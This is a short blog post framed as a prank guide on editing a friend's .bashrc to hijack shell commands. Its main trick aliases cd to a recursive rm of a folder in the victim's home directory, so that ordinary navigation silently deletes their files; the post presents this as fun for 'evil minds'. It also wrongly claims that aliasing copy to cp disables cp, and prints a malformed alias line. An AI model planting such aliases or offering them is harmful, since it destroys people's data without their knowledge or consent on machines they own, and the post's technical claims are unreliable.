Home » Windows » How To Mess with Someone’s .bashrc file

How To Mess with Someone’s .bashrc file

by Mrinal Saha

So, this post is basically written for those evil minds Linux users who like to mess around with their friend’s laptop and make their life a living hell!!

Now, we got this file called the .bashrc file which is basically a shell script which runs every time you start your terminal.

And thanks to linux which gives us the freedom to modify it (the .baschrc file) according to our own requirements.

Anyway, open the .bashrc file on the text editor of your choice.

Its located in your /home/user directory.

Now, go through it, and you will see a section where a few ‘alias’ commands are written.  As shown here:

Now the alias is basically a command to make the shortcut to your already existing commands for your own ease.

For e.g.

alias copy=’cp’

So, after adding this line in those list of alias command at that place only, so when you type cp on the terminal(don’t forget to restart the terminal as only then the changes will be reflected), it won’t work but if you type copy, it will work :)

At this point, your evil mind must be thinking the same as I am, take your friend’s laptop, open the .bashrc file and screw up all his commands.

For eg.  alias the cp/cd command to rm -r /home/user/<folder name>

$alias alias cd=’rm -r /home/user/<folder name>’

So, when the poor fellow is thinking that he is doing the cd command, but he is deleting his entire important folder

You may also like

Leave a Comment